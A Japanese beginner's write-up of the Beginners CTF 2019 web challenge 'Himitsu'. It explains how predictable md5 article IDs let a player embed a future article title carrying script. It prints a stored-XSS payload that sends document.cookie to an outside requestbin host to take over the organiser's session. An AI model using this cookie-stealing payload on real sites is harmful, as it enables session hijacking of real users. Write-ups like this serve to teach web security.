supereggが送るBeginners CTF 2019 Himitsu(web)の解説

こんにちは、supereggです。duckさん、タイトルを「CTFと共に生きる」にするという提案、賛成です(笑)

今回はBeginners CTF 2019のWebの問題であるHimitsuを初心者に向けで解説していこうと思います。

まず問題のサイトにアクセスします。
https://himitsu.quals.beginners.seccon.jp/

サイトにアクセスすると次のような画面が出てきます。
f:id:falconctf:20190529211744p:plain

とりあえず、登録してみましょう。

f:id:falconctf:20190529212123p:plain

作成してみましょう。

f:id:falconctf:20190529212237p:plain

下の方をを見ると、ページのタイトルを埋め込んだり、文字を太字で表示できるようです。

適当に記事を書いて投稿してみます
f:id:falconctf:20190529212856p:plain

すると「もし一人で秘密を抱えるのが大変であれば、ぜひ運営に共有してください。」といった文章が出てきます。怪しいですね。これは運営のヒントと考えます。

このヒントを考えてみると、運営に記事を送信し、記事を共有することにより、flagが得られるということが予想できます。ここで注目するワードは「共有」という部分です。相手に記事を読ませることによる攻撃、つまりXSSの可能性が高いです。

スクリプトをどうやって仕込んでいくか考えていきましょう。

ここでもらってコードを読んでいこうと思います。

コードを読んでいくと、ArticleController.phpの中に怪しいコメントがしてある部分を発見できます。

// here we should only validate and shouldn't replace; [# ... #] should be replaced here because the title can be changed :-)
preg_match_all('/\[#(.*?)#\]/', $body, $matches);
            foreach(range(0, count($matches)-1) as $i){
                $found_article_key = $matches[1][$i];
                $found_article = $mapper->getArticle($found_article_key);
                if (preg_match('/[<>"\']/', $found_article['title'])){
                    return $this->app->renderer->render($response, 'new.twig', [
                        'error_message' => '埋め込み先の記事タイトルが不正です。',
                        'title' => $data['title'],
                        'abstract' => $data['abstract'],
                        'body' => $data['body'],
                        'token' => $this->get_csrf_token($request)                        
                    ]);
                }
            }

ここで置き換えていけない、[#.....#]はタイトルを変更可能だから、ここで置き換えろと言っています。

どうやらこれは運営からのヒントと捉えることができるのではないでしょうか。

コードを読むと、本文に、[#....#]を埋め込んで投稿する際に、<,>が入っていると、エラー文を吐くように構成されています。つまり、予め作ってある記事のタイトルにスクリプトを埋め込んで呼び出すことはできないと分かります。

コメントの中の「replace」は、スクリプトを埋め込むこととして考えると、ここでreplaceしてはいけない、つまり投稿する際は無害のタイトルを呼び出すようにし、投稿した後にreplaceすることによってスクリプトを埋め込むことが出来る方法・・・???

サイトに本文を投稿した後にタイトルを変更する方法はないぞ??

ここでArticleMapping.php記事IDを生成している部分を見てみると、

public function createArticle($username, $title, $abstract, $body) {
        $created_at = date("Y/m/d H:i");
        $article_key = md5($username . $created_at . $title);

とあります。記事IDはユーザ名、日付、タイトルの3つの値を連結させた文字列をハッシュ関数であるmd5により生成されたハッシュ値であることが分かります。

ユーザ名、日付、タイトルの3つの値を使うということは何時にどのユーザでどのようなタイトルで投稿すると決めていれば、未来で投稿される記事IDを予め本文に埋め込むことができます。このように記事IDを未来予知できることがこのサイトの脆弱性です。

この脆弱性を突き、運営のクッキー情報を自分のwebサーバに送りようなjavascriptのコードを運営のブラウザで実行させ、盗むことにより、運営のログインページにアクセスしてflagを取ることがゴールです。

次のようなスクリプトを運営のブラウザで実行させることを考えます。

<script>document.write("<img src='http://requestbin.fullcontact.com/XXX/?" + document.cookie + ">'")</script>

このコードは、
http://requestbin.fullcontact.com/XXXというアドレスのドキュメントルートの中の?document.cookieという画像ファイルをページに表示させるというコードになります。(画像ファイルである必要はありません)document.cookieはブラウザのクッキー情報です。画像ファイルをサーバにリクエストを送らせることが目的です。

今回は自分でwebサーバを立てるのはめんどくさいので、
requestbin.fullcontact.com
というHTTPリクエストをみることができるwebサービスを使っています。

それでは、未来の記事IDを生成しましょう。

egg2019/05/29 23:<script>document.write("<img src='http://requestbin.fullcontact.com/xxxxxxx/?" + document.cookie + ">'")</script>

Linuxだと上記の内容のテキストファイルを作成したあと、

$md5sum テキストファイル名

で生成できます。

記事IDが生成できたら、本文に記事IDを[#...#]を使って埋め込んで記事を生成します。(この際、タイトルなどはなんでも構いません)

次に先ほどテキストファイルに記述した日時に、テキストファイルで指定したjavascriptのコードを書いて投稿します。

この段階で先ほど投稿した記事を開くとスクリプトが発動するようになっています。

よってこのスクリプトを仕込んだ記事を運営に送り付けてやりましょう。